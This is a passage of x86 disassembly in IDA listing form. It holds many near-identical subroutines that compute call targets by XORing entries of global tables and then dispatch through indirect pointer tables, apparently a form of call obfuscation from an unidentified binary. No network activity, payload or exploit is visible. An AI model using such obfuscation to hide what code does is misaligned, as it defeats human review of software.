mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A41AD
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A41AD: ; CODE XREF: sub_4A411C+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A411C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A4219 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED874o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 1Fh
mov [ebp+var_2C], 8Dh
mov [ebp+var_28], 0A7h
mov [ebp+var_24], 44h
mov [ebp+var_20], 67h
mov [ebp+var_1C], 5Dh
mov [ebp+var_18], 2
mov [ebp+var_14], 0CEh
mov [ebp+var_10], 11h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 11h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A42AA
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A42AA: ; CODE XREF: sub_4A4219+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A4219 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A4316 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED878o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 8Fh
mov [ebp+var_2C], 81h
mov [ebp+var_28], 48h
mov [ebp+var_24], 0Fh
mov [ebp+var_20], 0C5h
mov [ebp+var_1C], 9Fh
mov [ebp+var_18], 20h
mov [ebp+var_14], 81h
mov [ebp+var_10], 15h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 15h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A43A7
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A43A7: ; CODE XREF: sub_4A4316+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A4316 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A4413 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED87Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 68h
mov [ebp+var_2C], 78h
mov [ebp+var_28], 0F2h
mov [ebp+var_24], 1Dh
mov [ebp+var_20], 33h
mov [ebp+var_1C], 82h
mov [ebp+var_18], 0D2h
mov [ebp+var_14], 8Ch
mov [ebp+var_10], 15h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 15h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A44A4
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A44A4: ; CODE XREF: sub_4A4413+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A4413 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A4510 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED880o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 1Dh
mov [ebp+var_2C], 16h
mov [ebp+var_28], 50h
mov [ebp+var_24], 0B6h
mov [ebp+var_20], 4Dh
mov [ebp+var_1C], 41h
mov [ebp+var_18], 9Fh
mov [ebp+var_14], 0B7h
mov [ebp+var_10], 3
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 3
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A45A1
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A45A1: ; CODE XREF: sub_4A4510+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A4510 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A460D proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED884o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 9Fh
mov [ebp+var_2C], 5Ch
mov [ebp+var_28], 0ECh
mov [ebp+var_24], 4Dh
mov [ebp+var_20], 92h
mov [ebp+var_1C], 71h
mov [ebp+var_18], 0A5h
mov [ebp+var_14], 6Eh
mov [ebp+var_10], 2
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 2
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A469E
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A469E: ; CODE XREF: sub_4A460D+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A460D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A470A proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED888o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 38h
mov [ebp+var_2C], 0AFh
mov [ebp+var_28], 6Ah
mov [ebp+var_24], 6Fh
mov [ebp+var_20], 5Bh
mov [ebp+var_1C], 83h
mov [ebp+var_18], 78h
mov [ebp+var_14], 2Ah
mov [ebp+var_10], 6
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 6
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A479B
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A479B: ; CODE XREF: sub_4A470A+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A470A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A4807 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED88Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0FAh
mov [ebp+var_2C], 2Ah
mov [ebp+var_28], 45h
mov [ebp+var_24], 3Eh
mov [ebp+var_20], 0ECh
mov [ebp+var_1C], 80h
mov [ebp+var_18], 6Fh
mov [ebp+var_14], 0Fh
mov [ebp+var_10], 14h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 14h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A4898
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A4898: ; CODE XREF: sub_4A4807+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A4807 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A4904 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED890o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 51h
mov [ebp+var_2C], 0BDh
mov [ebp+var_28], 0EFh
mov [ebp+var_24], 0B2h
mov [ebp+var_20], 81h
mov [ebp+var_1C], 0DDh
mov [ebp+var_18], 0D1h
mov [ebp+var_14], 0A7h
mov [ebp+var_10], 5
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 5
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A4995
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A4995: ; CODE XREF: sub_4A4904+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A4904 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A4A01 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED894o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 75h
mov [ebp+var_2C], 55h
mov [ebp+var_28], 94h
mov [ebp+var_24], 0A3h
mov [ebp+var_20], 6Dh
mov [ebp+var_1C], 36h
mov [ebp+var_18], 34h
mov [ebp+var_14], 0EFh
mov [ebp+var_10], 11h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 11h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A4A92
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A4A92: ; CODE XREF: sub_4A4A01+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A4A01 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A4AFE proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED898o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 7
mov [ebp+var_2C], 0D9h
mov [ebp+var_28], 0ADh
mov [ebp+var_24], 0E1h
mov [ebp+var_20], 0C7h
mov [ebp+var_1C], 75h
mov [ebp+var_18], 8Ah
mov [ebp+var_14], 70h
mov [ebp+var_10], 0
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A4B8C
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A4B8C: ; CODE XREF: sub_4A4AFE+7Bj
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A4AFE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A4BF8 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED89Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 37h
mov [ebp+var_2C], 24h
mov [ebp+var_28], 92h
mov [ebp+var_24], 76h
mov [ebp+var_20], 0A2h
mov [ebp+var_1C], 0ECh
mov [ebp+var_18], 0DAh
mov [ebp+var_14], 0B8h
mov [ebp+var_10], 8
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 8
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A4C89
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A4C89: ; CODE XREF: sub_4A4BF8+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A4BF8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A4CF5 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED8A0o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 9Dh
mov [ebp+var_2C], 12h
mov [ebp+var_28], 3
mov [ebp+var_24], 0EAh
mov [ebp+var_20], 0DEh
mov [ebp+var_1C], 0EEh
mov [ebp+var_18], 0BCh
mov [ebp+var_14], 2Bh
mov [ebp+var_10], 0Fh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Fh
and eax, 7
